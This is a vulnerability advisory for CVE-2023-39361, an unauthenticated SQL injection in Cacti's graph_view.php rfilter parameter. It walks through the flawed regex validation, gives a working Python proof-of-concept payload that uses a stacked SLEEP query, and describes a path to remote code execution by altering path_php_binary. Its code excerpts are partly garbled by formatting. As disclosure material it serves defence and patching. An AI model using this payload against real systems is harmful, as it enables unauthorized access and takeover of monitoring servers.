Headline
CVE-2023-39361: Unauthenticated SQL Injection when viewing graphs
Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Summary
During the review of this project, a SQL injection vulnerability was discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution.
Details
The vulnerability resides within the grow_right_pane_tree function, invoked from the graph_view.php file. In the tree_content case, user input is validated through the html_validate_tree_vars function, and subsequently, the grow_right_pane_tree function is called if the tree_id parameter is greater than 0.
graph_view.php
switch (get_nfilter_request_var(‘action’)) { // … case 'tree_content’: html_validate_tree_vars();
// ...
if ($tree\_id > 0) {
if (!is\_tree\_allowed($tree\_id)) {
header('Location: permission\_denied.php');
exit;
}
grow\_right\_pane\_tree($tree\_id, $node\_id, $hgdata);
}
The grow_right_pane_tree function directly uses the user input parameter rfilter in the WHERE clause with RLIKE as follows. The rfilter parameter is validated in the html_validate_tree_vars function of graph_view.php, but this validation only ensures that rfilter is correct as a regular expression and does not guarantee that it does not contain SQL code.
lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) { // … if (($leaf_type == ‘header’) || (empty($leaf_id))) { $sql_where = '’;
if (get\_request\_var('rfilter') != '') {
$sql\_where .= ' (gtg.title\_cache RLIKE "' . get\_request\_var('rfilter') . '" OR gtg.title RLIKE "' . get\_request\_var('rfilter') . '")';
}
// ...
$graph\_list = get\_allowed\_tree\_header\_graphs($tree\_id, $leaf\_id, $sql\_where);
}
Let’s examine how the rfilter parameter is validated. The html_validate_tree_vars function sets the filter type to FILTER_VALIDATE_IS_REGEX and calls the validate_store_request_vars function.
lib/html_tree.php
function html_validate_tree_vars() { // … /* ================= input validation and session storage ================= */ $filters = array( // … ‘rfilter’ => array( ‘filter’ => FILTER_VALIDATE_IS_REGEX, ‘pageset’ => true, ‘default’ => '’, ), // … );
validate\_store\_request\_vars($filters, 'sess\_grt');
validate_store_request_vars is a function that verifies user input based on the set filter type. If the filter type is FILTER_VALIDATE_IS_REGEX, the validate_is_regex function checks if the value is a valid regular expression. The validate_is_regex function inserts user input into preg_match to verify that it is a valid regular expression. Note that single quotation marks are used as the delimiter for the regular expression. This delimiter is the only protection that the FILTER_VALIDATE_IS_REGEX filter offers against SQL injection. It becomes difficult to escape from the WHERE clause and insert an SQL statement since the delimiter character must be escaped within the regular expression.
lib/html_utility.php
function validate_store_request_vars(array $filters, string $sess_prefix = ‘’):void { // …
if (cacti\_sizeof($filters)) {
foreach ($filters as $variable => $options) {
// Establish the session variable first
if ($sess\_prefix != '') {
// ...
} else {
if (get\_nfilter\_request\_var($variable) == '0') {
// ...
} elseif ($options\['filter'\] == FILTER\_VALIDATE\_IS\_REGEX) {
if (is\_base64\_encoded($\_REQUEST\[$variable\])) {
$\_REQUEST\[$variable\] = base64\_decode($\_REQUEST\[$variable\], true);
}
$valid = validate\_is\_regex($\_REQUEST\[$variable\]);
if ($valid === true) {
$value = $\_REQUEST\[$variable\];
} else {
$value = false;
$custom\_error = $valid;
}
// …
function validate_is_regex($regex) { // …
if (@preg\_match("'" . $regex . "'", NULL) !== false) {
ini\_set('track\_errors', $track\_errors);
return true;
}
However, in the grow_right_pane_tree function, double quotation marks are used for the RLIKE quotes. This means that the user input validation is not functioning at all. Attackers may insert SQL code into the rfilter parameter in such a way that it forms a valid regular expression, enabling SQL injection attacks.
lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) { // … $sql_where .= ' (gtg.title_cache RLIKE “’ . get_request_var(‘rfilter’) . '” OR gtg.title RLIKE “’ . get_request_var(‘rfilter’) . '”)';
PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
import argparse import requests import sys import urllib3
#import os #os.environ[‘http_proxy’] = ‘http://localhost:8080’
sleep_time = 10 payload = f""""OR “"=”(("));SELECT SLEEP({sleep_time});-- -“"”
def exploit(): url = f"{target}/graph_view.php"
params \= {
"action":"tree\_content",
"node":"1-1-tree\_anchor",
"rfilter":payload
}
print('\[+\] Sending payload...')
print(f"\[+\] Payload: {payload}")
session.get(url,params\=params)
if __name__==’__main__’: urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php ‘rfilter’ SQL Injection (guest access)") parser.add_argument('-t’,’–target’,help=’’,required=True) args = parser.parse_args()
target \= args.target
session \= requests.Session()
exploit()
Impact
This vulnerability presents a significant risk as it allows for unauthenticated access to the SQL injection vulnerability. Since guest users can access the affected graph_view.php page without authentication, attackers may exploit this vulnerability to usurp administrative privileges and execute remote code, potentially compromising the system’s integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the ‘path_php_binary’ value in the database. This could result in significant damage, especially if guest users are being utilized in an enabled state. The potential actions that could be performed by an attacker include the usurpation of administrative privileges or remote code execution, leading to unauthorized control and access over the system.
Related news
Ubuntu Security Notice 6720-1 - Kentaro Kawane discovered that Cacti incorrectly handled user provided input sent through request parameters to the graph_view.php script. A remote authenticated attacker could use this issue to perform SQL injection attacks.
Debian Linux Security Advisory 5550-1 - Multiple security vulnerabilities have been discovered in Cacti, a web interface for graphing of monitoring systems, which could result in cross-site scripting, SQL injection, an open redirect or command injection.